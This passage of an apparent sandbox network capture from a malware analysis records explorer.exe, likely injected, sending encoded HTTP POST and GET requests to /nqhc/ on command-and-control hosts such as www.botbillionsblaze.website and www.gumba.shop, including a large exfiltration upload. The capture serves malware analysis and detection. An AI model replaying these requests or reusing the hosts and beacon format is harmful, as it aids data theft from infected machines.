uXKGtD01mx_3ld190Q5d41-u9SEhUuxWXfng6SmQVGw9WjSBj0_2AHOG5XbgNX7V506FfQxrZZlkMYqjzzseDfIS-WLmRFRudhEKL~2PtP2Z4egUapnjyZJWgREZtpaTzWlSPaJn65BCmt6~fpI(PJVLYQk8bk_jKBk5R9lu10ss5ZHRWfOpxFMiLdaxrbOU0QU3WZ_ufTbe2jVgubXtvvVbwn2UDAHjcL75Bwyf2nNqfmgK3wd~nhv127yNZF7i0e2et63AUfWpeXzh-QN~wlHWp(7ZlQnFBglPV7akZwDZbsj(PrNJhefVaK_dG(3l_nHN9NC2CQhTihBJRQOofgbhE19IpPoFJu_ERRR2FNyt_s3WBW6ho1A1vr9Q3Y0CEQnGWKJhUofNUzV83c97r1CxvcgrZjDk_gY4eSqWkrps2lwFmMKyzqGmU6wYudnj6kUwhWarCVTQnlUSCFJ24k_kBbHw8D8(vBwcDc57iTgF_5cAx8ttTRN9T~fPUSat15cXG2y5b8GYguZl9vrCoQuI-xjyadelBLNgj~TQNKL6isJcPW3~vS0WOzBhmRXCbN_pp63C_KhboHvysZdZuj-Shsw1cMQDOXwP7NRN6ye0rgXOwKp599kBs537t41hTNu1ZmMOzjeTefjwNJ490S2mN6l6i2u9c0BuNO_fodkpgs6QdAa73y7EPCalTTfAggt9GwcVH~g9vJprlDknlutHIzWG4pwJegSjit-CgRcmW~h7EJcnYQaKSCWafqjsIA0Zs(g9i5vo_4aCF6YpJGGuLsE9g7MD3VF0EsYBNa5LZdD(FCLivb5jdpUDawLI3tqDe2EE_O8mDcTTlkqT_AOANg0XQthHwdEXMZI5VIpL28SmPpM7VYHTY4Y5bKaoshhwYWXaH6a7lxKgMt54CuXJy(_kTYUCvL0PC8t7dF0JOGQUhtLMEpWV77T1MjUC8~i~CiIAdAyhjSOgOSrBMbwtB(FDrwoAm93BL7g8JzVVbuZ9GWU6wS3SrvfSmpk9PQ353yL2sv2A6xwI_vhDSHbhMza0wGI0FNrfmrPP4OrVNPT1-KhYeTgg_IlufiJa-HCQ8PXRiOaLYBhA3OeYQpsdzxmUOi5wvPs3ZLdMro1mulZuOA17u4bW89dcMczapLUbqWINUWj2NYB9-utRZOAOWtxB36Zf3DMiMIjFLmiu1bQMbQo0-a-jWtzg2tgbHiLH2rNYAtvm873CaPpI-AAzcus0MrNDqmYllSapxG28298(AUmrxw9qP6BaIEXP8bpC3wXGA7phJrLlTSMdZacMJLgR8qMU9Hzy_lHSeJNO87_S9nXZB3W87VVRzryrS5YDo0mJwkr(Lh-8p4VO6MIHQdt8IlzcQqCgKy-S0(ichG9sSs36l4eh6YtWkmUBvHjj-DfjVUFnc19hgAqKn3xGg2UrfTcxFvFLrsVck~wcihjPhglr0s4xh0nn3MZ29mxa6RHLAIWlFhrgbxWSYoAe0psNBwcksLxug9m5KN0msuUc7YMSTdDXMdyGzriUjwXJ3(Y2zkBTsmmJAQWv9r6l1ihE2EbmMk74sw8VIkvR9wiCW7FuZlp9DMpGj(URL0BP24alRKIzMv5tVpWFXOtGQV00tjPjgVXU0qLUT4XXUXOfxZtMY2rztLKcHFiaNtAWnt0~tqK0GnLTheV~i55KOolbZuJLqyrqG(qRylnJxMrLBedu2oeaF0cbc2VrxpCjww6NGSZNbMh8zBkGzUFiKRzvoFJR_8WXMwbwkc9JAV-Ppft0VdCOwEHkkztDqXpX8dLNJOBWgkVFIQNaTuwE_yoii91lWMzsC2yJwACm4C6EqnJKeNwcd4A1JVkaOer4ca5NkkgM_nJgC3OVL9SvfaFrlCL6fiagmGWQ_3CQmPa(vW1BGN3eMISQpJzoV8AIdw3vqBqXriXJlRKMBMNeVRbSx1H0nF2yUiNQwLR3NbYKXcFWtZMWUs3UZsOP0Kb2Q0rUOZmDOoXJh0wwr7GrB~uBtnJiGzwwbzw~y0L8WLE4NyZvOSLwyudXaBu1Xr-FK5NYNuUF5wQQuZ36gHaMmBo1mpGR65P3TGA5vJzJtUIZ3NgxLHq2xrHSeJ-rhUofzyunaZiU_1Mp7e_h0gl2gG0xaTT
Nov 21, 2022 19:21:20.529377937 CET	792	OUT	Data Raw: 31 59 5a 4e 6f 6d 57 70 74 55 6f 37 35 61 32 67 4e 71 42 56 67 56 59 71 30 51 61 43 37 73 34 6e 56 53 33 48 68 34 35 6f 54 78 70 4e 47 5f 7e 76 42 66 65 34 77 6c 6b 63 56 49 69 67 66 5f 31 58 34 53 41 5a 52 77 71 42 4e 64 58 6e 61 4f 74 79 67 43 Data Ascii: 1YZNomWptUo75a2gNqBVgVYq0QaC7s4nVS3Hh45oTxpNG_~vBfe4wlkcVIigf_1X4SAZRwqBNdXnaOtygCdIvaOrry73Fbln11t4um4yAybtvs9Hds(ro-SABNMZmT4yKNQdnOmZjuvArqtRiCd9yLEi30dGYSBUab5VjLjVwIVaYCxAyJSN4mvXNgMMNpwGGdeGY1LKxPbRArjSICXuAcctAl9GRCF5S4wx5IYy0RMBiYkoXu7
Nov 21, 2022 19:21:20.675885916 CET	797	OUT	Data Raw: 59 64 79 4c 7e 38 48 77 66 47 79 63 6b 57 6a 35 7a 57 75 72 34 62 6e 6c 47 45 47 78 64 4f 35 43 78 6f 72 62 5a 63 34 4d 61 6a 50 54 6b 54 38 42 65 33 78 68 41 35 64 79 72 79 77 54 28 4c 5a 36 6e 59 48 34 36 61 59 49 70 45 7a 4a 6f 4b 6d 65 78 79 Data Ascii: YdyL~8HwfGyckWj5zWur4bnlGEGxdO5CxorbZc4MajPTkT8Be3xhA5dyrywT(LZ6nYH46aYIpEzJoKmexy7NWUJKoCeAWaf8BpR4WsZ-iUxYtbufmwoq0WA2IuRyfjtgYrzJmIKZBTYlv0C7cLINUWWYPKOhcqLOMcSRJ2scrBrsoVIkbPNR93k3WuoZF4HAWFfvzy6XfB~b99uwByn_w-PZgbzxi03eOF2h1H3eYgC7z8Uk2Ek
Nov 21, 2022 19:21:20.676225901 CET	800	OUT	Data Raw: 32 62 33 66 30 67 44 53 6b 78 34 47 71 49 54 5a 79 6c 4a 72 4a 74 4f 57 54 36 70 74 38 59 79 71 6f 6c 79 30 68 64 78 37 77 76 70 44 5a 5f 72 71 37 70 51 50 56 61 65 35 41 39 48 42 48 44 47 75 69 2d 6f 74 74 57 78 54 72 6c 4e 50 37 74 35 42 48 66 Data Ascii: 2b3f0gDSkx4GqITZylJrJtOWT6pt8Yyqoly0hdx7wvpDZ_rq7pQPVae5A9HBHDGui-ottWxTrlNP7t5BHfFR53zVO6UefhFFDlvw539TbKNG3-p0MhUTOYToJlk7i2dFN02PszIZ31I9BhD3c_STLe8z9WSbDnGzybiIL6FTaZLO20TGK7vCFYj3cGyJz9q0LuguEMt5h3b2Jv9dtiBOSxUbvJazcZTjpH74yU6LbU(khC0KGXH
Nov 21, 2022 19:21:20.676397085 CET	807	OUT	Data Raw: 68 47 65 39 6b 55 78 31 32 68 74 75 42 77 28 55 74 7a 51 64 37 72 69 6f 6e 54 6e 56 73 49 70 2d 73 37 73 57 44 33 63 54 31 33 67 6e 72 77 73 4b 31 69 35 59 41 4e 54 68 33 42 73 4c 71 35 43 73 4b 75 6d 44 61 62 4d 62 7e 34 4d 61 79 72 32 34 62 35 Data Ascii: hGe9kUx12htuBw(UtzQd7rionTnVsIp-s7sWD3cT13gnrwsK1i5YANTh3BsLq5CsKumDabMb~4Mayr24b586nMArubP7zcIvY2zyPLOqz3FB(9HN9UddiG~HtDNrVeIt62fwwifTQkWE4b5GqNc4BfihuBpCb04lb-L6oTkffc(iAlRJk206NvSEkGRzhvvyTC(orfKpsYk2Ks(-~AduZ1MZcRQOSLtL8aaW~m1a5pJdOMLi3zP
Nov 21, 2022 19:21:20.676568031 CET	815	OUT	Data Raw: 69 4e 64 4d 46 64 4a 63 6c 38 7a 41 38 76 59 53 74 32 6c 73 68 33 6b 62 39 46 79 64 45 78 49 38 47 41 33 64 42 31 37 34 65 45 57 71 76 69 77 58 76 5f 32 48 6f 68 5a 49 6f 32 7a 56 66 6e 64 39 55 44 70 76 7a 4b 38 2d 72 4a 6b 32 57 61 58 73 35 4a Data Ascii: iNdMFdJcl8zA8vYSt2lsh3kb9FydExI8GA3dB174eEWqviwXv_2HohZIo2zVfnd9UDpvzK8-rJk2WaXs5J2kZYsznsH-ggFMkg12U5dcKIT8GETfxxnDh1~fPPxKWRY69EKhgQmLCJrxuvp_q1s1lLdNZG7UV04G6YwXd98IsR0fU3rSXSmEoqMilXzcRV3oedUJegk7cW~VboVwhCtELnEa3Ir9ccAdOhAiAkVwu1hDWUEoC4t
Nov 21, 2022 19:21:20.676700115 CET	815	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:21:20 GMT Content-Type: text/html Content-Length: 153 Connection: close Server: nginx/1.16.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.16.1</center></body></html>
Nov 21, 2022 19:21:20.676736116 CET	818	OUT	Data Raw: 63 4a 6a 6f 39 7a 6c 50 69 38 41 49 54 4a 63 2d 43 6d 4c 35 72 35 6c 67 61 66 65 4f 66 5f 78 62 61 6e 6b 4e 39 6f 44 4c 78 52 64 66 73 41 59 36 42 45 4d 59 4c 69 5a 36 4a 65 7e 66 72 62 6d 4c 4d 54 44 5f 33 4a 52 33 58 74 5a 79 6a 4d 32 5f 65 69 Data Ascii: cJjo9zlPi8AITJc-CmL5r5lgafeOf_xbankN9oDLxRdfsAY6BEMYLiZ6Je~frbmLMTD_3JR3XtZyjM2_ei~01hqi8hns0tTRgHImq06aFriOpzl9CDG0L7wH4GNds62H0C12RMJdslcUgToKsi31pa26i50H(3YMew6wNe4U0W8-qrPFu5yNvXjsWxjKYpCh3_C1K-et1IjmhK26OCmsnerp18FJhjE2G1DMWVuuu7hU4aobo_E
Nov 21, 2022 19:21:20.823056936 CET	821	OUT	Data Raw: 36 6f 63 77 37 65 79 68 53 6b 31 6d 71 70 7a 6b 78 6c 77 7a 79 5f 61 52 32 33 5a 65 47 33 49 31 65 75 45 76 52 6e 45 76 6b 6e 62 64 4b 59 46 44 62 57 35 55 6d 32 62 35 46 62 43 67 79 63 6e 61 54 52 5a 74 74 4a 79 47 49 48 74 78 45 74 45 4d 4c 66 Data Ascii: 6ocw7eyhSk1mqpzkxlwzy_aR23ZeG3I1euEvRnEvknbdKYFDbW5Um2b5FbCgycnaTRZttJyGIHtxEtEMLf6xEOtz(MmrrnC1o34zWIK_u4lm71wr8SLtsjhiyL~y(d8RHeZnvLF2LjDaJIRWVOK8rldgeDYY3cyry_zstJiIJfDS4D5YprFOGKD0ZfqRE51eeyMmNit46dWr55Qq2RMf3SvD6yEqsWIPMfI7p8ZAA9XcFAXqWZ8
Nov 21, 2022 19:21:20.823108912 CET	828	OUT	Data Raw: 46 58 43 42 7a 59 32 72 61 35 63 64 32 4a 4b 6f 49 35 53 71 76 71 6b 68 5a 6c 58 75 31 44 66 68 71 4c 6d 35 6a 61 77 34 56 5a 61 53 34 73 48 78 4d 64 51 50 75 6e 7a 75 30 76 66 72 4a 63 48 62 6c 5f 66 45 39 47 50 39 34 38 62 34 57 68 6d 61 4f 5f Data Ascii: FXCBzY2ra5cd2JKoI5SqvqkhZlXu1DfhqLm5jaw4VZaS4sHxMdQPunzu0vfrJcHbl_fE9GP948b4WhmaO_u9Oz2FPtq_G-x2coOjvY5QIjM-3UEW1bd5(Eq4338cdnHcPlkT1jILbASV3i3UnmWY3gWhrBcNR8fBSD79J0OD8yDhF2Dh7HYrUIJUBzZIn_K2SBYfaoai(VeHKPkCnEhp~LMiiByeK1e6OYhoVTBzmFRmru(BKrb
Nov 21, 2022 19:21:20.823339939 CET	832	OUT	Data Raw: 6e 4e 76 62 50 6b 38 72 37 41 59 37 56 47 61 6d 5a 55 52 78 4d 6f 28 30 4a 71 33 57 67 37 44 69 49 78 76 6a 67 65 39 59 58 59 72 7a 57 4e 51 50 7e 77 37 4d 35 4a 43 47 52 4a 49 37 71 66 76 41 6f 38 51 53 6f 72 61 52 34 32 4b 67 46 7a 56 6f 6c 65 Data Ascii: nNvbPk8r7AY7VGamZURxMo(0Jq3Wg7DiIxvjge9YXYrzWNQP~w7M5JCGRJI7qfvAo8QSoraR42KgFzVolegk8gnSO4zpjsTa9WKLs21W4wZpAzz0r_cNatoP5frKE86IwFp7odcLdLoHVHN2~9G6YMwdHpNlp3KB2fch9CUDxgsOl1JlqIWwW_~uJer6JE2YZJDy8yEisYbMLmFCpUkFjPee3-d1dsspGEvXNm~PCF9EoIZGPty

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.11.20	49847	3.13.90.76	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:22.700804949 CET	833	OUT	GET /nqhc/?r4txB=f4F7ffrY91VPAaIYxk1J2He+DN38Gtglpvx7SxOWIh8xSFztRImtD0B4ZlSdLvIOg82xMJ3Gh/Bbh1FonXE4rjX3AOld5zRxFA==&1b=S8jD HTTP/1.1 Host: www.gumba.shop Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:21:22.848660946 CET	833	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:21:22 GMT Content-Type: text/html Content-Length: 153 Connection: close Server: nginx/1.16.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.11.20	49848	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:28.129893064 CET	835	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 74 49 62 4a 66 41 68 52 71 43 52 4d 49 47 52 69 76 5a 75 50 35 61 70 4c 47 30 7e 49 48 47 4b 36 61 36 42 64 71 72 46 39 31 53 53 38 65 43 45 79 73 31 59 37 52 49 59 35 7e 43 68 30 54 62 64 6e 6b 6b 6b 59 32 70 72 56 61 76 30 6a 70 63 47 44 64 53 51 53 43 6b 32 56 43 43 61 52 65 39 5a 68 54 50 4b 4e 42 78 34 51 6e 78 6d 75 36 6a 62 30 79 6a 6b 49 61 47 4d 44 65 34 6b 39 61 47 50 67 59 55 4f 4b 68 79 4e 54 70 53 52 54 33 46 4b 6c 39 69 34 52 70 58 62 33 68 38 4b 52 5a 55 52 48 67 62 52 4e 56 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=EqVrxMRHLBCwtIbJfAhRqCRMIGRivZuP5apLG0~IHGK6a6BdqrF91SS8eCEys1Y7RIY5~Ch0TbdnkkkY2prVav0jpcGDdSQSCk2VCCaRe9ZhTPKNBx4Qnxmu6jb0yjkIaGMDe4k9aGPgYUOKhyNTpSRT3FKl9i4RpXb3h8KRZURHgbRNVw).
Nov 21, 2022 19:21:28.157994032 CET	835	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:21:28 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.11.20	49849	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:30.190305948 CET	837	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 69 49 72 4a 61 6a 5a 52 28 53 52 50 57 57 52 69 32 70 75 78 35 61 56 4c 47 31 71 59 48 77 61 36 64 65 4a 64 34 75 6c 39 79 53 53 38 57 69 45 33 6a 56 59 79 52 49 63 48 7e 48 5a 30 54 62 4a 6e 6c 56 45 59 33 5a 72 61 52 50 30 73 68 38 47 34 4d 43 51 4d 43 6b 4b 33 43 44 4f 52 65 4e 46 68 43 35 57 4e 51 31 56 47 71 78 6d 67 38 6a 62 37 70 7a 6b 4f 61 47 78 30 65 36 6b 4c 5a 77 48 67 59 31 75 4b 67 79 4e 53 77 79 52 49 72 31 4c 56 7e 68 6c 37 69 6c 66 55 37 38 53 2d 64 45 63 4b 30 4a 4e 4a 4b 61 46 48 68 62 7e 66 57 66 50 56 41 59 63 76 32 4d 33 79 72 2d 6e 59 32 62 59 65 6e 39 68 35 41 4f 63 57 56 77 7a 50 46 4b 65 33 6a 6f 48 7a 46 68 6d 53 46 36 31 4d 64 71 38 32 71 62 38 33 28 33 71 6a 32 53 46 2d 32 46 37 79 43 6f 79 50 74 4c 78 76 35 55 63 79 4f 43 4a 73 65 49 35 73 47 47 7e 79 6b 67 6b 49 52 4e 77 59 66 52 54 73 76 36 39 72 4b 66 39 4a 6d 51 63 64 31 67 59 62 31 47 66 71 44 45 56 6f 32 4a 49 6f 6f 32 67 54 32 54 47 5a 28 7a 44 4f 6d 41 5a 4e 58 7a 73 47 4a 69 76 62 37 2d 47 35 69 31 55 62 50 46 53 52 46 52 32 65 41 32 67 72 51 6c 4d 67 44 56 51 79 35 50 4e 32 41 49 31 59 63 57 38 74 6c 4d 34 30 43 71 33 6c 46 73 50 6c 50 66 45 45 52 63 70 32 55 4b 74 46 71 6a 53 43 4e 51 50 65 35 35 56 43 4e 79 73 47 65 6d 46 4b 30 37 54 33 6f 6c 36 4f 7a 66 4d 70 66 75 5a 5a 71 5f 45 36 6a 31 50 45 75 62 72 76 35 33 43 59 31 71 4e 47 6a 6c 54 6d 42 42 76 65 78 39 73 4b 73 73 4e 4a 6f 45 28 6a 46 67 63 72 75 2d 38 68 4c 61 72 6c 58 7a 71 30 77 5f 50 4e 53 46 6d 4f 68 49 55 42 5a 4e 42 5a 49 2d 46 79 35 5f 45 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=EqVrxMRHLBCwiIrJajZR(SRPWWRi2pux5aVLG1qYHwa6deJd4ul9ySS8WiE3jVYyRIcH~HZ0TbJnlVEY3ZraRP0sh8G4MCQMCkK3CDOReNFhC5WNQ1VGqxmg8jb7pzkOaGx0e6kLZwHgY1uKgyNSwyRIr1LV~hl7ilfU78S-dEcK0JNJKaFHhb~fWfPVAYcv2M3yr-nY2bYen9h5AOcWVwzPFKe3joHzFhmSF61Mdq82qb83(3qj2SF-2F7yCoyPtLxv5UcyOCJseI5sGG~ykgkIRNwYfRTsv69rKf9JmQcd1gYb1GfqDEVo2JIoo2gT2TGZ(zDOmAZNXzsGJivb7-G5i1UbPFSRFR2eA2grQlMgDVQy5PN2AI1YcW8tlM40Cq3lFsPlPfEERcp2UKtFqjSCNQPe55VCNysGemFK07T3ol6OzfMpfuZZq_E6j1PEubrv53CY1qNGjlTmBBvex9sKssNJoE(jFgcru-8hLarlXzq0w_PNSFmOhIUBZNBZI-Fy5_E.
Nov 21, 2022 19:21:30.229234934 CET	837	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:21:30 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.11.20	49850	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:32.237010956 CET	844	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 69 49 72 4a 61 6a 5a 52 28 53 52 50 57 57 52 69 32 70 75 78 35 61 56 4c 47 31 71 59 48 77 53 36 64 70 4a 64 71 50 6c 39 7a 53 53 38 56 69 45 32 6a 56 5a 67 52 49 6b 39 7e 48 46 65 54 5a 78 6e 6c 45 55 59 30 76 28 61 55 50 30 74 69 38 47 41 64 53 51 59 43 6b 32 72 43 44 61 65 65 39 42 68 54 4f 36 4e 42 55 55 51 79 78 6d 75 38 6a 62 6e 28 44 6c 74 61 47 31 6b 65 36 34 4c 5a 79 7a 67 61 48 6d 4b 73 46 68 53 71 53 52 58 67 56 4c 61 30 42 6c 65 69 68 28 71 37 38 53 49 64 46 6f 4b 30 4c 56 4a 4c 5a 64 45 68 37 7e 66 49 76 50 53 45 59 52 6b 32 4d 62 55 72 2d 37 59 32 5a 6f 65 6c 64 68 35 56 66 63 52 57 51 79 45 42 4b 65 6b 6e 6f 44 37 46 68 61 47 46 34 35 4d 64 36 6f 32 77 4b 38 33 38 56 4f 6a 7e 53 46 38 79 46 37 74 55 59 7a 51 74 4c 42 7a 35 56 39 50 4f 46 4a 73 59 6f 5a 73 51 55 47 78 6a 41 6b 4b 64 74 77 42 4a 68 66 6f 76 2d 5a 38 4b 66 39 6a 6d 55 6b 64 31 52 6f 62 30 48 66 74 41 55 56 56 76 5a 49 48 6d 57 6c 53 32 54 61 52 28 79 37 65 6d 43 31 4e 56 54 73 47 66 52 47 4e 69 65 47 2d 36 46 55 4a 51 56 54 52 46 52 72 39 41 33 6b 52 58 52 45 67 41 46 41 79 7e 66 4e 31 43 6f 30 52 57 32 38 52 30 63 34 30 43 71 36 42 46 70 58 6c 4f 74 55 45 52 72 74 32 52 5a 56 46 73 6a 54 4a 4e 51 4f 61 35 35 52 48 4e 79 6c 52 65 6d 5a 77 30 34 28 33 70 77 6d 4f 30 65 4d 75 62 65 5a 51 75 5f 46 69 75 56 44 70 75 62 6e 64 35 33 54 76 79 5a 5a 47 69 6c 44 6d 46 42 76 66 37 39 73 4e 36 38 4e 62 28 55 44 4a 46 67 42 63 75 5f 35 2d 4c 59 37 6c 58 53 4b 76 67 75 66 71 4d 31 32 5a 6a 4d 55 43 52 4c 5a 46 61 72 70 73 6e 5a 71 7a 68 33 44 42 5a 74 33 55 78 59 67 55 31 62 69 6e 4c 44 4a 41 71 54 6b 56 72 6b 76 55 35 5f 4a 55 79 4d 6e 38 63 76 76 4e 57 31 74 4d 56 48 46 41 61 37 70 75 74 55 77 4f 64 53 66 45 59 5a 47 67 35 43 6c 69 68 30 51 7a 28 56 32 75 36 39 67 58 42 32 7e 43 4a 6e 63 4b 32 5a 61 70 4c 76 32 47 33 79 61 67 61 6f 69 77 33 47 6e 44 62 39 34 75 30 69 4c 53 54 63 6f 56 74 41 6f 72 62 70 44 73 46 64 6f 6a 41 73 46 66 42 75 6d 33 41 48 71 73 7e 48 57 50 77 52 44 6e 28 6f 35 56 49 62 35 30 47 7a 56 70 43 5f 5a 5a 75 4f 6e 77 42 50 43 2d 28 47 7a 62 54 2d 48 37 59 35 75 32 48 4f 72 6e 56 62 69 77 4d 43 4b 4b 28 7a 78 30 54 76 78 75 48 78 38 42 31 38 49 32 47 6b 4c 35 70 70 72 4f 77 38 4d 58 31 39 6c 4c 76 48 68 44 79 6b 4a 6a 59 52 46 71 6a 43 69 6a 46 66 79 45 57 66 73 38 55 69 59 50 43 32 58 66 68 57 50 37 6c 37 50 32 44 5a 30 69 75 46 4f 39 36 78 35 41 48 5f 69 75 76 52 77 65 79 36 4f 56 54 32 57 78 67 70 65 58 50 79 51 46 4c 31 36 68 7a 55 4a 31 50 77 67 71 48 41 6b 53 6b 44 6f 63 71 64 7a 65 55 45 36 79 42 66 77 68 33 78 79 70 57 39 7e 75 45 39 76 49 35 43 67 4d 6d 6c 6d 33 70 65 41 59 46 78 33 4c 45 72 39 49 73 49 78 2d 4f 4b 51 7a 38 55 78 72 56 30 4b 49 5a 4a 55 31 7e 2d 45 7a 28 6a 68 5f 78 70 4b 4b 59 7a 63 39 72 6e 63 77 46 4d 6c 77 39 37 63 62 35 4e 61 66 6c 47 43 73 70 64 53 73 38 72 69 39 70 62 46 43 46 4b 6c 36 6a 57 4c 79 50 35 55 4b 39 69 72 31 6e 6d 6a 4c 36 41 58 45 4c 6b 4b 56 62 39 75 6d 51 37 7e 34 67 57 6a 52 65 69 47 39 59 39 47 6e 31 2d 6b 36 36 56 42 41 34 36 30 35 77 30 51 5f 54 5f 73 6a 51 2d 4a 37 4c 67 30 49 79 76 6f 57 6b 57 5a 45 30 53 64 51 38 71 69 4e 55 74 30 75 53 78 68 4d 35 45 33 70 61 30 28 32 45 6a 36 65 41 58 71 57 59 4c 53 48 77 43 31 4d 33 46 58 7a 61 6c 6b 79 49 56 77 44 79 51 64 35 56 64 62 46 65 68 59 5a 45 53 77 2d 6b 66 52 46 75 62 28 55 46 7a 7a 36 76 54 31 62 7e 77 6d 31 35 6d 4d 33 7a 4d 68 64 65 72 63 72 31 70 6e 4e 7e 44 78 43 39 57 59 5a 49 4b 43 34 37 6a 71 56 68 66 30 51 48 4d 53 51 4e 73 5a 63 75 49 62 6e 67 57 54 38 55 51 6d 2d 32 45 6f 6c 43 58 44 59 6d 48 48 35 6d 6d 65 4c 62 32 31 73 4a 59 39 65 70 35 58 6d 54 37 46 79 4e 4f 7a 30 74 64 28 66 6e 56 4e 61 42 79 6a 46 75 70 76 4c 42 6e 79 4d 41 67 6c 30 71 2d 34 74 70 30 66 6e 73 65 6a 77 34 6d 6c 33 44 42 7e 42 51 4b 72 47 62 46 37 53 4f 65 64 34 4f 30 79 4d 76 65 48 4e 45 6f 54 78 4f 35 53 55 6c 49 6f 51 48 66 66 57 45 47 4f 71 46 50 68 67 76 65 4e 66 77 47 4b 41 66 6b 42 53 39 47 7a 47 6c 49 4f 53 64 66 31 45 50 4e 6a 71 69 30 43 5a 64 34 44 54 77 4f 59 53 52 65 64 7a 4e Data Ascii: 